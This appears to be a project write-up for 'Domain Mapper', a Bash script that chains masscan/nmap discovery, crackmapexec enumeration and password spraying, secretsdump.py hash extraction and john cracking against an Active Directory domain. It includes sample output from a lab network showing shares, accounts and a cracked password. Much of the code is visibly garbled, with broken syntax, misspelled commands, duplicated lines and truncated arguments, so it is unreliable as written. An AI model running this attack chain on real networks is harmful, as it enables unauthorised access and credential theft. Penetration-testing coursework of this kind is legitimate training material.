DOMAIN MAPPER

the user have to run the script with root privileges.

Prompt the user to enter the target network range for scanning.

One of several functions that downloads the necessary software and tools for script usage.

Require the user to select a desired operation level

```
function scaning(){

# Geting operation level from the user
echo "[#] Choose the operation level for the scaning mode before any actions are executed."

echo "[*] 1. Basic - scan with -Pn. "
echo "[*] 2. Intermediate - scan with -p- (all ports). "
echo "[*] 3. Advanced - Including UDP scan."

read -p "[?] Select operation level for Scanning Mode (1-3): " scanning_choice
```

If the user selects option number one (Basic)

If the user selects option number two (Intermediate)

If the user selects option number three (Advanced)

```
then

echo [#] Starting advanced scan"

# Check if the target contains a submet (indicated by "/")

ad-5(sethe "Starget" | grep -1 "/")

if [ *Sand" = "Starget" | grep -1 "/")

if [ *Sand" = "Starget" | grep -1 "/")

if [ *Sand" = "Starget" | grep -1 "/")

# Execute masscan with a high rate and save the output to a file

masscan -pp-65535 [1/3](set) Please be partient, if night take a while (15 minutes)"

# Exetract the Domain IP address from the scan results

Domain_ip*(set advanced_scan_1_515) [ grep -= "88" -= "339" | grep -fo "\b([6-9]{1,3}\\.){3}{0-9}{1,3}\b" | head -n 1)

echo "[#] scan completed"

# Check if the Domain IP was found

if [ -z *Soomain_ip*]

then

clie = "$(GREEN)[-]$(RC) The Domain server not found"

clse = "$(GREEN)[-]$(RC) The Domain server is at; $Domain_ip*

fi

clif [ -z *set ]

# Inform the user that a scan with a lower rate is starting

echo = "$(GREEN)[-]$(RC) Please be partient, it night take a while (2 minutes)"

# Extract the Domain IP address from the scan results

Domain_ip*(cat advanced_scan_2_151) [ grep -e "88" -e "339" | grep -fo "\b([6-9]{1,3}\\.){3}[0-9]{1,3}\b" | head -n 1)

echo = "$(FILLON)[1]$(RC) Please be partient, it night take a while (2 minutes)"

# Extract the Domain IP address from the scan results

Domain_ip*(cat advanced_scan_2_151) [ grep -e "88" -e "339" | grep -fo "\b([6-9]{1,3}\\.){3}[0-9]{1,3}\b" | head -n 1)

echo = "$(GREEN)[-]$(RC) The Domain server not found"

if [ -z *Soomain_ip*] [
then

# Check if the Domain IP address from the scan results

Domain_ip*(at advanced_scan_2_151) [ grep -e "88" -e "339" | grep -fo "\b([6-9]{1,3}\\.){3}[0-9]{1,3}\b" | head -n 1)

echo -e "$(GREEN)[-]$(RC) The Domain server is at; $Domain_ip*

fi

clse

# Check if the Domain IP address from the scan results

# Check if the Domain IP address from the scan results

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# Check if the Domain IP address from the
```

Asks the user if they want to proceed to the enumeration stage or exit, if they choose to proceed to the enumeration stage, require the user to select a desired operation level

If the user selects option number one (Basic)

If the user selects option number two (Intermediate)

Asks the user to select a list of users and a list of passwords from several options, and runs crackmapexec with the service chosen by the user from the presented open services, as well as with the selected list of users and passwords.

If the user selects option number three (Advanced)

Asks the user to select a list of users and a list of passwords from several options, and runs crackmapexec with the service chosen by the user from the presented open services, as well as with the selected list of users and passwords. It also attempts to retrieve a list of users, groups, shares, and more...

```
Extract domain name from crackmapexec outpu
domain_name=$(cat crackmapexec_$TS | grep -w domain | awk -F "domain:" '{print $2}' | awk '{print $1}' | sed 's/)/ /g')
echo -e "[+] The domain name is: ${GREEN}$domain_name${NC}"
# Start enum4linux for additional enumeration
enum4linux $Domain_ip > enum4linux_$TS
# Giving the user a choice to select use his users list or download users list the we are suggesting
echo "[#] for Extract all shares, do you want to use ours users list or do you want to use your users list?"
       "[*] 1. Ours users list"
"[*] 2. your users list"
                         wget https://raw.githubusercontent.com/kkrypt0nn/wordlists/main/wordlists/usernames/http_default_users.txt 6> /dev/null 2>61;
                         # Giving the user a choice to select use his passwords list or download one of the passwords list that we are suggesting echo "[?] for Extract all shares, do you want to use rockyou.txt or do you want to use your passwords list?"
echo "[*] 1. top 1,000 worst passwords"
echo "[*] 2. your passwords list?"
echo "[*] 3. top 1,000,000 worst passwords"
read -p "[?] your choice (1/2/3): " password_list
                                                   echo "[#] You chose to use top 1,000 worst passwords list"
wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-
                                                   mv ./10-million-password-list-top-1000.txt ./top-1000.txt
                                                   echo "[#] trying to enumerat, The results will be saved in crackmapexec_*_$TS" # Run crackmapexec with the options that the user picked
                                                                                                        -u ./http_default_users.txt -p ./top-1000.txt > crackmapexec_R_$15 2>/dev/null
                                                   crackmapexec
                                                   crackmapexec service abundance
# For SMB, LDAP, and FTP services
# For SMB, LDAP, and FTP service = ldap ] || [ $service
                                                                                                                                                    = ftp ]
                                                                            crackmapexec
                                                                                                                                 -u ./http_default_users.txt -p ./top-1000.txt
                                                                                                                                                                                                              shares > crackmapexec_share_
                                                                                                                                                                                  ./top-1000.txt
                                                                                                                                                                                                              users > crackmapexec_users
                                                                            crackmapexec
                                                                                                                                  -u ./http_default_users.txt
                                                                             crackmapexec
                                                                                                                                      ./http_default_users.txt -p
                                                                                                                                                                                  ./top-1000.txt
                                                                                                                                                                                                                    ups > crackmapexec_groups
```

If information is found, it is displayed to the user, with lines dividing the information into groups by type. If no information is found, the lines form an error message.

Informs the user that during the Exploitation stage, they can only perform scans with the vuln script, because they chose the Basic option during the Enumeration stage and there is not enough information to proceed with stages 2 and 3. Therefore, they are given the option to scan or exit.

Asks the user if they want to proceed to the Exploitation stage or exit, and if they choose to proceed to the Exploitation stage, , require the user to select a desired operation level

If the user selects option number one (Basic)

If the user selects option number two (Intermediate)

And running crackmapexec with the flag "—continue-on-success"

```
echo "[#] Starting Intermediate Exploitation"

echo "[#] Starting a NSE vulnerability scanning script"

nmap -Pn -sV --script=vuln SDomain_ip > vuln_scan_$75

echo "[#] Starting a password spraying to identify weak credentials"

# Perform password spraying based on selected user and password lists
                                                                                          -u ./http_default_users.txt -p ./top-1000.txt -continue-on-succes
                                             crackmanexec
                                             # Clean and save results
                                             cat Exploitation_brute_force | grep -v ERROR > Exploitation_brute_force_
                                             sudo rm -r Exploitation_brute_force
                                             crackmapexec
                                                                                          -u ./http_default_users.txt -p
                                             cat Exploitation_brute_force | grep
                                                                                                -v ERROR > Exploitation_brute_force_$TS
                                             sudo rm -r Exploitation_brute_force
                                             crackmapexec Sservice SDomain_ip -u ./http_default_users.txt -p ./top-1000000.txt -continue-on-succeat Exploitation_brute_force | grep -v ERROR > Exploitation_brute_force_$75
                                             sudo rm -r Exploitation_brute_force
                                                                                                                    ./top-1000.txt
                                             crackmapexec
                                             cat Exploitation_brute_force | grep -v ERROR > Exploitation_brute_force_
                                             sudo rm -r Exploitation_brute_force
                                             crackmapexec
                                                                                                                                            continue-on-success > Exploitation
```

If the user selects option number three (Advanced)

```
echo "[#] Starting Advanced Exploitation"
echo "[#] Starting a NSE vulnerability scanning script"
nmap -Pn -SV -script-vuln Spembin, jp > vuln_scan_$15
echo "[#] Starting a password spraying to identify weak credentials"
if [ Susers_list = 1 ]

then

if [ $password_list = 1 ]

crackmapexec $service $Domain_ip - u ./http_default_users.txt -p ./top-1000.txt -continue-on-success > Exploi
cat Exploitation_brute_force | grep -v ERROR > Exploitation_brute_force_$15

sudo rm -r Exploitation_brute_force
elif [ $password_list = 2 ]

then

crackmapexec $service $Domain_ip -u ./http_default_users.txt -p $password_path -continue-on-success > Exploi
cat Exploitation_brute_force | grep -v ERROR > Exploitation_brute_force_$15

sudo rm -r Exploitation_brute_force
elif [ $password_list = 3 ]

then

crackmapexec $service $Domain_ip -u ./http_default_users.txt -p top-1000000.txt -continue-on-success > Exploi
cat Exploitation_brute_force | grep -v ERROR > Exploitation_brute_force_$15

sudo rm -r Exploitation_brute_force | grep -v ERROR > Exploitation_brute_force_$15

sudo rm -r Exploitation_brute_force
```

Extract and attempt to crack Kerberos tickets using pre-supplied passwords

```
echo "[#] Execute domain-wide password spraying, According to what you have chosen in the Enumeration Mode"
host=$(cat Exploitation_brute_force_$TS | grep "+" | awk '{print $(NF -1) }' | awk -F "\\" '{print $2}' | sort | head -n 1
Domain=$(cat enum4linux_$TS | grep "Domain Name:" | awk '{print $NF}')
# Extract Kerberos tickets using secretsdump.py
python3 /usr/share/doc/python3-impacket/examples/secretsdump.py $Domain/$hust@$Domain.cat secretdump | grep -v -e "[[-]]" -e "[[*]]" -e "[[+]]" -e "Impacket" > secretdump.
                                                                                                                   n_ip > secretdump 2>/dev/null
cat secretdump | grep -
                                 -- "[[-]]"
rm -r secretdump
echo "[#] Deleteing john.pot"
sudo rm -r /root/.john/john.pot 2>/dev/null
# Download wordlist if necessary
                             john secretdump.
                     wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-milli
                      ./10-million-password-list-top-1000000.txt ./top-1000000.txt 2>/dev/null
                     john secretdump.
                                                   format=nt --wordlist=top-1000000.txt > john_for_secretdump.$75
# Display found passwords
found_pass=$(cat john_for_secretdump.$T$ | awk '{print $1,$2}' | grep -e "(" -e ")" )
if [ -z "$found_pass" ];
                     echo -e "${RED}[-]${NC} Didn't found password using the top-1000000.txt password list"
                     echo -e "${GREEN}[+]${NC} Password that found by using the top-1000000.txt password list:"
echo -e "${GREEN}[+]${NC} $found_pass"
```

Saving the information found in a PDF file and executing the functions in order

```
echo "[#] Saveing the Results in a PDF file (Results_$TS.pdf)"
for_output=$(ls | grep -v -e top-1000000.txt -e top-1000.txt -e http_default_users.txt )
                > output
enscript output -p output.ps 2>/dev/null
ps2pdf output.ps Results_$T$.pdf 2>/dev/null
#execute function by order
colors
d_figlet
root
folder+target
d_python
d_nmap
d masscan
d_john
d_enscript
d_ghostscript
e_crackmapexec
scaning
Enumeration
Exploitation
pdfile
```

successful output

```
./project5_network_security.sh
#] Hello! and wellcome to the domain mapper
#] Please make sure you run this script with root account
+] You will move forward to start scaning your target, Enjoy!
?] Please Enter a valid IP address for your target [network/host]: 192.168.199.0/24
+] Your target IP address is: 192.168.199.0/24
  python3 is installed!
+] nmap is installed!
+] masscan is installed!
+] john is installed!
+] enscript is installed!
+] ghostscript is installed!
+] crackmapexec is installed!
#] Choose the operation level for the scaning mode before any actions are executed.
*] 1. Basic - scan with -Pn.
*] 2. Intermediate - scan with -p- (all ports).
*] 3. Advanced - Including UDP scan.
?] Select operation level for Scanning Mode (1-3): 1
#] Starting basic scan
#] scan completed
+] The Domain server is at: 192.168.199.162
?] Would you like also move to the Enumeration phase (Y/N): y
#] Chose the operation level for each mode before any actions are executed.
*] 1. Basic - Nmap scan with -sV and broadcast-dhcp-discover script.
*] 2. Intermediate - Nmap scans also with ldap-search and smb-enum-sessions
      and enumerate shared folders with crackmapexec using different services.
*] 3. Advanced - Extract all users ,groups,shares ,password policy ,disabled accounts,
      never-expired accounts and Domain Admins group members using crackmapexec.
?] Select operation level for Enumeration Mode (1-3): 3
#] Starting Advanced Enumeration
#] scan completed, Saved in Advanced_enumeration_19:49
#] the dhcp server is at:
    Interface: eth0
    Server Identifier: 192.168.199.254
#] open ports for the cracakmapexec:
```

```
Server Identifier: 192.168.199.254
[#] open ports for the cracakmapexec:
                              OpenSSH for_Windows_7.7 (protocol 2.0)
22/tcp
         open ssh
139/tcp open netbios-ssn
                             Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
636/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
                             Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5985/tcp open http
[#] for Extract all users, type the service name that you want to use
[#] (ssh, smb, ftp, rdp, winrm, ldap)
[?] Your choice for service to use: smb
[#] You chose smb service
[+] The domain name is: target.local
[#] Starting a default enum4linux, The results will be saved in enum4linux_19:49
[#] for Extract all shares, do you want to use ours users list or do you want to u
[*] 1. Ours users list
[*] 2. your users list
[?] Your choice (1 or 2): 1
[#] You chose to use ours users list
[?] for Extract all shares, do you want to use rockyou.txt or do you want to use y
[*] 1. top 1,000 worst passwords
[*] 2. your passwords list
[*] 3. top 1,000,000 worst passwords
[?] your choice (1/2/3): 2
[#] You chose to use your password list
[?] Please enter the path for your passwotds list: /home/omer/Desktop/p
[#] trying to enumerat, The results will be saved in a folders crackmapexec_*_19:4
Share | Permissions | Remark
ADMIN$ | READ, WRITE | Remote
C$ | READ, WRITE | Default
IPC$ | READ | Remote
NETLOGON | READ, WRITE | Logon
SYSVOL | READ | Logon
###|\##|###<u>##</u>###<u>######</u>|##|##|##|##|##|##
target.local\sshd | badpwdcount: | 0
target.local\omer2 | badpwdcount: | 2
target.local\krbtgt | badpwdcount: | 0
target.local\omer | badpwdcount: | 4
target.local\Guest | badpwdcount: | 6
target.local\Administrator | badpwdcount: | 0
###|#\#|##/###\###|####<u>|</u>##/###\#|###|#|#\#|#/##|##
```

```
Users | membercount: | 5

Administrators | membercount: | 5

###|##\|##\|__/###|######|__/##\|_/##\|##\|#|
[?] Would you like also move to the Exploitation phase (Y/N): y
[#] Chose the operation level for each mode before any actions are executed.
[*] 1. Basic - Nmap scan with vulnerability script.
[*] 2. Intermediate - Execute domain-wide password by using crackmapexec --continue-on-success.
[*] 3. Advanced - Attempt to crack Kerberos tickets using python3 secretsdump.py and john with pre-supplied passwords.
[?] Select operation level for Exploitation Mode (1-3): 3
[#] Starting Advanced Exploitation
[#] Starting a NSE vulnerability scanning script
[#] Starting a password spraying to identify weak credentials
[#] Execute domain-wide password spraying, According to what you have chosen in the Enumeration Mode
[#] Deleteing john.pot
[#] Password that found by using the top-1000000.txt password list:
[+] omer (omer)
[#] Saveing the Results in a PDF file (Results_19:49.pdf)
```